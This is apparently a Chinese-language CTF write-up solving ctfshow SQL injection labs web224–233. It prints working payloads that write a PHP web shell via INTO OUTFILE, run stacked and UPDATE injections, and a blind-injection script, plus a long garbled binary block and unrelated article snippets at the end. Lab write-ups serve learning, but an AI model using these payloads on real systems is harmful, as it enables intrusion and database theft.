ctfshow web入门 sql注入 web224--web233
web224
扫描后台,发现robots.txt
,访问发现/pwdreset.php
,再访问可以重置密码 ,登录之后发现上传文件
检查发现没有限制诶
上传txt,png,zip发现文件错误了
后面知道群里有个文件能上传
<?= _$GET[1]_?>就是0x3c3f3d60245f4745545b315d603f3e 所以访问1.php执行命令就行了
C64File "');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+ 沁s寂dA?q?y黃抾|{9l惒1%╓m鯧幆v9?3#;mv诬磇S鏛5Dv镓Qj堜匒C?煕?乼ニo妻鷷?7n积寒遝e跞HO疜鸹M=鳁^鴀亍o钏fH?5fmUe羰獞Q<黁dS溄$??喙瑙枴溓?{3Uo堊%?k?t饜〖.鲽|a?s?齁韱y;啑鼞?)yχ0]釵C燁L??H歩P?;F!?O??*_铧J漅 Q4IQ糅酰仩Q澮Q4刷X秞燘硢枹竐蕱4猄!?Y_癵G€
-帰E娾?Zg4猄!奦Y瘷歯€
?帰U娾?gl%hT?Bm?枱_?ㄐ︶(冥(?1vA???#媌??F肣寫?c#A?チQ尣(??R鑭?h`?泞[痢嶊擣?'媌Z@?燘N肣浃(辎F?hT?ByY譯U€
y
G憲淰滲楔Ni?
??鸈≒衟鞭M狸5??Ey飂?S-≒媒胼d?侳i猖瘔畂萺淓d齙嬥?v膽~?8~鷙?6駨幆F脍??}?狊橦W?F8rQ?晴?lt⑥l涌込?珤豉cu?|??}0暹胙齑鈝?m?鞿]}睨骃闦v澌U殠鮵驥熶鷘?v(Q鍌迲I(q??(O∵鶱邖欕鯱琀NX}?氕?S鐔m諫_緌踌ü獬炉謉O貔(S遞棚矶蛧餠
GF蟧ホ魾?j0襪瀝xCau僇疓E$4顖同(T厷$∷n艶*
圮篘a瘸?斠58犊/醡"?"z4聝(簸畊sC3n髎#懏蹲
巌麀$?攧琳Cp韔Od嶙_羗~n8??y
盇曣 (刏^蹼+?▲??Bv偁L 增"L偶j jU漫攭*??働>鏝?o棟挔* (3#?_?Bm烧賟+B-^殩AY→?AYAo??R|繠檬?B貮ㄟG賟+B5]HM厾l孭5~T5 悴"詘?=*F*嵙牰w啝8#HU県?穊骊睻U⑶Z?拟@瑋咖D淲违JX慍??F?|e揈湑{'KX藪摽 睌飖w 矩]X.+b吙b)哽頧羃A,鴍?蛶[k闽>=@,寤???_钯?旄扁$?睌oww@巨??q?UJX??b)唢頧?b??;nE,蠊 栻
飵鮦7锯x謳[玭謮,K鶐w荍 膫/yn?砀盕敭?b鞭驈v砆鴸咻埑返^玛~}鰃`:蕑??膫o壠F軍X;蚬 ??c练黖F軍Xo?腞惧#P*唘4膔k踷Ⅺじ^,v巐╫/z.骔#c#k詴徲{簐潭C棧?臜澆鱘X€盠J瞢碷l??谨*?崌g&虓k??谨???3Ot?N记2唵:馊茌7k貊;猡$u?7俾衊KI}]?魋b繆??a?L篃?a&I榬OLK绿?寰殩刌$a式9- 矹聰鹻Zf搫)??,FgT?xT€肍?z暁拞蜁Q?5%
盯铏jJ6丏褀諗4l,嚔w?i貫EWS野??拨)}hMI弥4(z贇拞?P裘?嵡?姙害?E_^S野l劉矾>i剷(7绥?曉籿d{鹦?纟f污韴C蚸p6寚?Z7?反{牯裠冇a铥銥楮R3n檞涕?外???E痌
N敿G?N锝(p8藑o?葶痌蕉s阤蓒,惠艮觾鉠<<嶑迺7qK粭M锝甩浣?C[陟蕞拮郥嶌N?zm_萅蓒艮?N暪?{③?V糈ダX蓒,惶艮+xx跺糸脥弗軨轇p溗}??]裐ё\杫嚇辿恿?临V拊圼邶_z飴 腔荀r=颜勄塣[?'y廵w椶{Fp躃€'厭烖?反{肤揠
巤癸脄纲榈?橑Xvf榻? 蘕?p低>鼕右罨襸?淛毼啂l?螽*谨J纐0h鷄^撰弗?^!8&(4E#珙嬎2飯襸oIO&淖z荛颠擿蓿仫T鯺垾8?戴c-?絯8?_愇剃=鍴xc?蝃?蔟坻坜霌S3柪擎絧pLP?V蕉~?蓒?ы闃k
f7癛郱@既誾?]圇鰟芖甲 c)??$掂V艮?乏€t痰??,(钢xm?戨蛣 掲B?憓'審蛖臽)(?<?发鱲∽@:鎆脜?XP
p瓚?蒠M?y镳耍?|l匏+5A敝H??发鼬Z=8$ 0?顦閌RL?搾潣c?叹?儍PI?fX箼崇?茐x?'an趞騷?{v谴€暃I1M趸饽sY笊?! &C氷廀3皰3)鎯#倊賯[肠鳘r髱|P?衇?J罂V'?5yqT鱽?v+K帺鞠?Oq羏*(騎鮅#DQV朶W}R Q钠G(騟鮅#DQV枩[}R Q?e(騰鮅#DQV栜_}R Q膯??鮅#DQV?DKRM?湶?殥*
(K-?Ge苍S殥**b┥4%U耪=o攢RU蠩俆ye?$'敧?U灳滨gA┆O?R?铕厒敧??U?绝q翤PA俆y对渨?敧醠?蠔f觉磶蔺r5K眨p廟濖?騤謝枾NA=?
?壣a锺锺锺镅犍摵? x
这东西好像和sql没关系哇
web225
这道题神似之前的某一道题,闭合之后堆叠注入就行
但是直接在用户名写没有回显,那就传参(先换到注入页面访问/api
)
然后
?username=-1';show tables;--+
发现表ctfshow_flagasa
利用handler代替select
?username=-1';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first;--+
web226
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
16进制绕过
-1';PREPARE abcd from 0x73686f772020646174616261736573;execute abcd;#
show databases;-1';PREPARE abcd from 0x73686F77207461626C6573;execute abcd;#
show tables;-1';PREPARE abcd from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;execute
abcd;#
select * from ctfsh_ow_flagas
web227
-1';PREPARE a from 0x73686F77207461626C6573;execute a;#
show tables;-1';PREPARE a from 0x73656C656374202A2066726F6D2063746673686F775F75736572;execute a;#
select * from ctfshow_user
但是并没有发现flag
后面发现这里考察SQL存储,使用
SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME = 'sp_name' ;
ROUTINE_NAME 字段中存储的是存储过程和函数的名称; sp_name 参数表示存储过程或函数的名称
select * from information_schema.Routines
-1';PREPARE a from 0x73656C656374202A2066726F6D20696E666F726D6174696F6E5F736368656D612E526F7574696E6573;execute a;#
web228
select * from ctfsh_ow_flagasaa
-1';PREPARE a from 0x73656C656374202A2066726F6D2063746673685F6F775F666C616761736161
;execute a;#
web229–web230
原理一样,不过多赘述
16进制转码
web231
updata注入
update 注入
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";将表名为ctfshow_user 的password更新成我们传入的,当username正确的时候
注入成功
password=-1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=password=-1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=password=-1',username=(select group_concat(flagas) from flaga)#&username=
web 232
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
md5直接闭合
password='),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=password='),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa')%23&username=1password='),username=(select group_concat(flagass) from flagaa)%23&username=1
web 233
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
不能传入单引号,不过可以传入\,这就有意思了。
假设我们password传入\,username传入,username=database()#
那么最终构成的语句如下
update ctfshow_user set pass = '\' where username = ',username=database()#'
等价于
执行SQL语句
update ctfshow_user set pass = 'x',username=database()#'
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=1password=\&username=,username=(select group_concat(flagas) from flaga)#&username=1
理论来说应该是有回显的,但是我的一直没有,只能盲注脚本了
"""
Author:Y4tacker
"""
import requestsurl = "http://52405488-688b-4d4e-92ee-34eb3d063698.challenge.ctf.show/api/?page=1&limit=10"result = ""
i = 0while 1:i = i + 1head = 32tail = 127while head < tail:mid = (head + tail) >> 1# 查数据库# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"# 查表名# payload = "select column_name from information_schema.columns where table_name='flag233333' limit 1,1"# 查数据payload = "select flagass233 from flag233333"data = {'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)#",'password': '4'}try:r = requests.post(url, data=data, timeout=0.9)tail = midexcept Exception as e:head = mid + 1if head != 32:result += chr(head)else:breakprint(result)
算了始终有问题我觉得,还是后面再来吧我去学写脚本
相关文章:
ctfshow web入门 sql注入 web224--web233
web224 扫描后台,发现robots.txt,访问发现/pwdreset.php ,再访问可以重置密码 ,登录之后发现上传文件 检查发现没有限制诶 上传txt,png,zip发现文件错误了 后面知道群里有个文件能上传 <? _$GET[1]_?>就是0x3c3f3d60245…...
「Java开发指南」如何用MyEclipse搭建GWT 2.1和Spring?(一)
本教程将指导您如何生成一个可运行的Google Web Toolkit (GWT) 2.1和Spring应用程序,该应用程序为域模型实现了CRUD应用程序模式。在本教程中,您将学习如何: 安装Google Eclipse插件为GWT配置一个项目搭建从数据库表到一个现有的项目GWT编译…...
python同时进行字符串的多种替换
一些常见的方法: 使用str.replace()方法:这是一种简单的方法,但是如果你有多个替换需要进行,可能会变得很繁琐。 text "This is a sample text with some words." text text.replace("sample", "exa…...
【Java基础题型】用筛法求之N内的素数(老题型)
输入格式 N输出格式 0~N的素数样例输入 100样例输出 2 3 5 7 11 13 17 19 23 29 31 37 老朋友素数了属于是! 方法1:(穷举法) 通过遍历 i 的所有除数,如果除以除数后商变成了0,那么把布尔值变成假的。表示不是素数 【…...
Linux进程——Linux环境变量
前言:在结束完上一篇的命令行参数时,我们简单的了解了一下Linux中的环境变量PATH,而环境变量不只有PATH,关于更多环境变量的知识我们将在本篇展开! 本篇主要内容: 常见的环境变量 获取环境变量的三种方式 本…...
SRM系统供应链库存协同提升企业服务水平
SRM系统供应链库存协同是一种以提高供应链整体效率和竞争力为目标的管理方法。它涉及到企业与供应商之间的紧密合作,以实现库存优化、成本降低、风险分担和灵活响应市场变化等目标。 一、SRM供应链库存协同的概念和特点 SRM供应链库存协同是指企业与供应商之间通过…...
Windows安全加固-账号与口令管理
在当今日益增长的网络安全威胁中,Windows系统的安全加固显得尤为重要。其中,账号与口令管理作为系统安全的第一道防线,其重要性不言而喻。本文将深入探讨Windows安全加固中的账号与口令管理策略,以确保系统的安全性和稳定性。 账…...
【数据库原理及应用】期末复习汇总高校期末真题试卷03
试卷 一、选择题 1 数据库中存储的基本对象是_____。 A 数字 B 记录 C 元组 D 数据 2 下列不属于数据库管理系统主要功能的是_____。 A 数据定义 B 数据组织、存储和管理 C 数据模型转化 D 数据操纵 3 下列不属于数据模型要素的是______。 A 数据结构 B 数据字典 C 数据操作 D…...
数据库加密数据模糊匹配查询技术方案
文章目录 前言沙雕方案内存加载解密密文映射表 常规做法实现数据库加密算法参考 分词组合加密(推荐) 超神方案总结个人简介 前言 在数据安全性和查询效率之间找到平衡是许多数据管理系统所面临的挑战之一。特别是在涉及加密数据的情况下,如何…...
jsSPA应用如何实现动态内容更新
JS SPA(单页面应用)应用的原理、优势以及例子如下: 原理: SPA应用的核心原理在于,它使用JavaScript动态地创建和更新DOM结构,而非通过传统的多页面跳转来呈现内容。当用户与应用程序交互时,SP…...
C++学习笔记——仿函数
文章目录 仿函数——思维导图仿函数是什么仿函数的优势理解仿函数仿函数的原理举例 仿函数——思维导图 仿函数是什么 使用对象名调用operator()函数看起来像是在使用函数一样,因此便有了仿函数的称呼;仿函数存在的意义是&#x…...
python 中如何匹配字符串
python 中如何匹配字符串? 1. re.match 尝试从字符串的起始位置匹配一个模式,如果不是起始位置匹配成功的话,match()就返回none。 import re line"this hdr-biz 123 model server 456" patternr"123" matchObj re.matc…...
Windows 系统运维常用命令
目标:通过本文可以快速实现windows 网络问题定位。 ipconfig:查看本机网络配置情况 C:\Users\zzg>ipconfigWindows IP 配置以太网适配器 以太网:媒体状态 . . . . . . . . . . . . : 媒体已断开连接连接特定的 DNS 后缀 . . . . . . . :无线局域网适配器 本地…...
Springboot监听ConfigMap配置文件自动更新配置
背景: 最近调研使用k8s的ConfigMap来作为springboot项目的配置中心,需要实现热更新机制,避免pod重启影响业务。 ConfigMap作为挂载卷使用的时候可以更新pod中的配置内容,但是业务应用需要能监听并处理这些变更。我在测试的时候已…...
API安全机制
API安全机制包括两部分:数字签名、敏感信息加密。 一、数字签名 服务端使用客户端的消息签名验证客户端的身份。如果一个请求不包含签名或者签名验证失败,服务端将返回身份验证错误。它背后的技术是:数字签名技术。 1、待签参数准备 待签…...
接口性能测试 —— Jmeter并发与持续性压测!
接口压测的方式: 1、同时并发:设置线程组、执行时间、循环次数,这种方式可以控制接口请求的次数 2、持续压测:设置线程组、循环次数,勾选“永远”,调度器(持续时间),这种…...
Windows+Linux的虚拟串口工具
文章目录 1.Windows虚拟串口工具1.1 安装教程1.2 使用方法 2.Linux系统虚拟串口工具2.1 socat安装2.2 开启虚拟串口2.3 测试2.3.1 命令测试2.3.2 Cutecom工具测试 2.4 关闭虚拟串口 3.参考资料 1.Windows虚拟串口工具 下载地址:https://www.downxia.com/downinfo/4…...
Spring-AOP
目录 一:什么是AOP 二:AOP快速入门 2.1导入AOP坐标 2.2定义dao接口和实现类 2.3定义通知类 2.4在配置类中进行Spring注解包扫描和开启AOP功能 2.5定义测试类测试结果 三:AOP工作流程 四:AOP的切入点表达式 4.1语法格…...
算法程序设计-快速排序
快速排序采用---分治策略 L |------x-------------| R 第一步确定分界点:q[l],q[(lr)/2],q[r]随机 第二步调整范围:L |--------<x|>x------------| R 第三步递归处理左右两端 两种做法: 第一种:暴力解决 另外定义两个…...
Jmeter用jdbc实现对数据库的操作
我们在用Jmeter进行数据库的操作时需要用到配置组件“JDBC Connection Configuration”,通过配置相应的驱动能够让我们通过Jmeter实现对数据库的增删改查,这里我用的mysql数据库一起来看下是怎么实现的吧。 1.驱动包安装 在安装驱动之前我们要先查看当前…...
Mac 上安装多版本的 JDK 且实现 自由切换
背景 当前电脑上已经安装了 jdk8; 现在再安装 jdk17。 期望 完成 jdk17 的安装,并且完成 环境变量 的配置,实现自由切换。 前置补充知识 jdk 的安装路径 可以通过查看以下目录中的内容,确认当前已经安装的 jdk 版本。 cd /Library/Java/Java…...
springboot如何发送邮件,java如何发送邮件随机码作为验证
maven <dependency><groupId>com.sun.mail</groupId><artifactId>javax.mail</artifactId><version>1.6.2</version></dependency> 然后java package com.metasoft.common.utils;import java.util.Properties;import javax.…...
使用QLoRA在自定义数据集上finetuning 大模型 LLAMA3 的数据比对分析
概述: 大型语言模型(LLM)展示了先进的功能和复杂的解决方案,使自然语言处理领域发生了革命性的变化。这些模型经过广泛的文本数据集训练,在文本生成、翻译、摘要和问答等任务中表现出色。尽管LLM具有强大的功能,但它可能并不总是与特定的任务或领域保持一致。 什么是LL…...
编译和链接(超详细)
✅博客主页:爆打维c-CSDN博客 🐾 🔹分享c语言知识及代码 一、编译和链接实例 假设我们有一个名为main.c的C语言源文件,它包含了一个简单的Hello World程序。我们可以使用gcc编译器对该源文件进行编译,生成一个可执行…...
Rust Turbofish 的由来
0x01 什么是 Turbofish 我们运行如下 Rust Snippet: fn main() {let numbers: Vec<i32> vec![1, 2, 3, 4, 5, 6, 7, 8, 9, 10];let even_numbers numbers.into_iter().filter(|n| n % 2 0).collect();println!("{:?}", even_numbers); }不出意…...
2.外卖点餐系统(Java项目 springboot)
目录 0.系统的受众说明 1.系统功能设计 2.系统结构设计 3.数据库设计 3.1实体ER图 3.2数据表 4.系统实现 4.1用户功能模块 4.2管理员功能模块 4.3商家功能模块 4.4用户前台功能模块 4.5骑手功能模块 5.相关说明 新鲜运行起来的项目:如需要源码数据库…...
Universal Thresholdizer:将多种密码学原语门限化
参考文献: [LS90] Lapidot D, Shamir A. Publicly verifiable non-interactive zero-knowledge proofs[C]//Advances in Cryptology-CRYPTO’90: Proceedings 10. Springer Berlin Heidelberg, 1991: 353-365.[Shoup00] Shoup V. Practical threshold signatures[C…...
【UE5学习笔记】编辑及运行界面:关闭眼部识别(自动曝光)
自动曝光,也就是走进一个黑暗的环境,画面会逐渐变量,以模拟人眼进入黑暗空间时瞳孔放大,进光量增加的一种真实视觉感受: 制作过程中是否关闭自动曝光,取决于游戏的性质,但是个人认为,…...
未来科技的前沿:深入探讨人工智能的进展、机器学习技术和未来趋势
文章目录 一、人工智能的定义和概述1. 人工智能的基本概念2. 人工智能的发展历史 二、技术深入:机器学习、深度学习和神经网络1. 机器学习2. 深度学习3. 神经网络 三、人工智能的主要目标和功能1. 自动化和效率提升2. 决策支持和风险管理3. 个性化服务和预测未来 本…...
3-qt综合实例-贪吃蛇的游戏程序
引言: 如题,本次实践课程主要讲解贪吃蛇游戏程序。 qt贪吃蛇项目内容: 一、功能需求 二、界面设计 各组件使用: 对象名 类 说明 Widget QWidge 主窗体 btnRank QPushButton 排行榜-按钮 groupBox QGroupBox 难…...
帮做暑假作业网站/百度怎么推广自己的网站
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼我个人觉得第二个可能是因为内存不够的缘故,于是照着网上的办法弄了一个辅助布尔型数组来改进一下,然后就变成这样了……结果是2The total of the primes are: 1代码如下#include#include#define N 10000usi…...
wordpress js插件开发教程视频/广州权威发布
前缀表示法 前缀表示法又叫波兰表示法,他的操作符置于操作数的前面(例: 1 2),是波兰数学家扬武卡谢维奇1920年代引入的,用于简化命题逻辑。因为我们一般认为操作符是在操作数中间的,所以在日常…...
寻花问柳专注做一家男人最爱的网站/长沙seo霸屏
2019独角兽企业重金招聘Python工程师标准>>> 以前看Parity源代码的时候,一直用GDB调试跟踪。幸亏以前有Unix/Linux编程的底子,否则用GDB想死的心都有。最近发现Microsoft的VS Code,非常不错。把过程记下来,备查 首先下…...
wordpress页眉导航栏位置/腰肌劳损的自我治疗和恢复的方法有什么?
1.Ubuntu系统,使用FFmpeg命令需要先安装 sudo apt install ffmpeg安装成功之后就可以使用ffmpeg 、ffplay、ffprobe等命令 2.格式转换 ffmpeg -i fly.mp4 fly.flv3.播放视频 ffplay fly.flv 4.查看视频信息 ffprobe fly.mp4Input #0, mov,mp4,m4a,3gp,3g2,mj2,…...
b2b网站代表及网站网址是什么/怎么打开网站
基于jquery的弹出提示框始终处于窗口的居中位置(类似于alert弹出框的效果)原理:获取当前屏幕(窗体)的宽度和高度,因为不同浏览器的窗体大小是不一样的。有了这个,可以计算出来垂直居中的坐标。但是滑动了滚动条怎么依然垂直居中呢?…...
虚拟主机代理商的网站打不开了怎么办/合肥百度推广优化排名
什么是决策树? 决策树如下: 问题: 每个节点是在哪个维度做划分? 某个维度是在哪个值上做划分? 信息熵 解决上述问题的其中一种方法:信息熵 熵表示随机变量的不确定度:熵越大,数据…...